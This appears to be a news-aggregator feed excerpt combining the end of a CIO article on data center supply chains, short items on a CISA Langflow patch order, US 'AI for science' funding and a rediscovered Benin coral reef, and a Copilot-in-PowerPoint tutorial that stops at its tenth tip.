<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CISA orders urgent action on actively exploited Langflow RCE flaw]]></title>
<description><![CDATA[The Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday ordered U.S. government agencies to prioritize patching an actively exploited vulnerability in the Langflow visual framework for building AI agents. [...]]]></description>
<link>https://tsecurity.de/de/3686200/it-security-nachrichten/cisa-orders-urgent-action-on-actively-exploited-langflow-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686200/it-security-nachrichten/cisa-orders-urgent-action-on-actively-exploited-langflow-rce-flaw/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday ordered U.S. government agencies to prioritize patching an actively exploited vulnerability in the Langflow visual framework for building AI agents. [...]]]></content:encoded>
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<title><![CDATA[Trump administration says 15 agencies will get $5bn in ‘AI for science’ effort]]></title>
<description><![CDATA[Administration will also overhaul how US government funds federal research by supporting individual scientists and AI over universitiesThe US will spend $5bn to tackle longstanding scientific problems across multiple fields using AI, ⁠the Trump administration said in a statement on Wednesday. The...]]></description>
<link>https://tsecurity.de/de/3686189/ai-nachrichten/trump-administration-says-15-agencies-will-get-5bn-in-ai-for-science-effort/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686189/ai-nachrichten/trump-administration-says-15-agencies-will-get-5bn-in-ai-for-science-effort/</guid>
<pubDate>Wed, 22 Jul 2026 13:53:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Administration will also overhaul how US government funds federal research by supporting individual scientists and AI over universities</p><p>The US will spend $5bn to tackle longstanding scientific problems across multiple fields using AI, ⁠the Trump administration said in a statement on Wednesday. The agencies will use the funding to identify the root causes ⁠of chronic diseases, accelerate drug ⁠discovery and ​develop longer-lasting building materials, among other tasks, according to the statement.</p><p>Scientists will have access to the Department of Energy’s supercomputers, AI and specialized ⁠datasets, along with other components needed to run experiments using algorithms, said Michael Kratsios, chief technology adviser to Donald Trump, in an ⁠interview with Reuters.</p> <a href="https://www.theguardian.com/us-news/2026/jul/22/trump-science-funding-overhaul-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Long Presumed Dead, a Thriving Coral Reef Is Discovered in West Africa]]></title>
<description><![CDATA[Scientists have rediscovered a healthy coral reef off the coast of Benin more than 60 years after surveyors first hinted at its existence. "At least eight coral types and eight fish species have formed a thriving ecosystem on this long-forgotten site," reports Inside Climate News. "What they had ...]]></description>
<link>https://tsecurity.de/de/3686097/it-security-nachrichten/long-presumed-dead-a-thriving-coral-reef-is-discovered-in-west-africa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686097/it-security-nachrichten/long-presumed-dead-a-thriving-coral-reef-is-discovered-in-west-africa/</guid>
<pubDate>Wed, 22 Jul 2026 13:14:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Scientists have rediscovered a healthy coral reef off the coast of Benin more than 60 years after surveyors first hinted at its existence. "At least eight coral types and eight fish species have formed a thriving ecosystem on this long-forgotten site," reports Inside Climate News. "What they had captured was a wealth of marine life: six types of soft coral; two black corals; and eight species of sheltering fish, from golden African snappers to the Monrovia doctorfish." From the report: While no coral samples have yet been extracted, researchers have classified the site as a mesophotic coral ecosystem (MCE). Such systems are light-dependent communities existing at the lower limits of reef-building corals. At more than 175 feet below the surface, the coral garden they discovered appears patchily scattered on a rocky substrate. Bridging the gap between shallow reefs and deeper benthic habitats, MCEs are home to distinct species and unique environmental conditions. While scientists are increasingly recognizing their ecological and climatic importance, they remain among the least explored elements of tropical and subtropical marine biodiversity. And this one has real potential to unlock new information about coral history.
 
"Since it's an undisturbed marine ecosystem, it can help through carbon dating or paleoclimatic study to tell us which kind of climate system has occurred here in the past," said [Gerard Zinzindohoue, the project lead for Coral Reefs Rediscovering &amp; Exploration in Benin]. "It's better to know the past to help explain the present, and help know which kind of direction we can take in the future." In addition to the blackbar soldierfish, West African goatfish, and Guinean angelfish filmed darting through the reef, the discovery presents potential conservation claims for other marine life. "We will be advocating for its full protection, perhaps by setting up a marine protected area around it," said [Houangninan Midinoudewa, an oceanographic researcher at the Benin Marine Conservation Club], who specializes in elasmobranchs -- the study of sharks, rays, and skates.
 
Midinoudewa is currently submitting an application to designate the area as an Important Shark and Ray Area with the International Union for Conservation of Nature. Based on the knowledge of local fishermen, Midinoudewa is confident the reef is home to sawback angel sharks, silky sharks, brown skates, and marbled stingrays. The team behind the discovery hopes this will spark a wave of similar discoveries in the waters off West Africa, an area of the world underserved by scientific research projects. "I hope the Gulf of Guinea will be a hub for research because we know our resources are being exploited and people [need to] know exactly what we have and why we should care," said Midinoudewa. Zinzindohoue agrees: "We don't need to wait for others to come to our country to show us what is under our sea. We are the ones who must take responsibility."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/22/049248/long-presumed-dead-a-thriving-coral-reef-is-discovered-in-west-africa?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



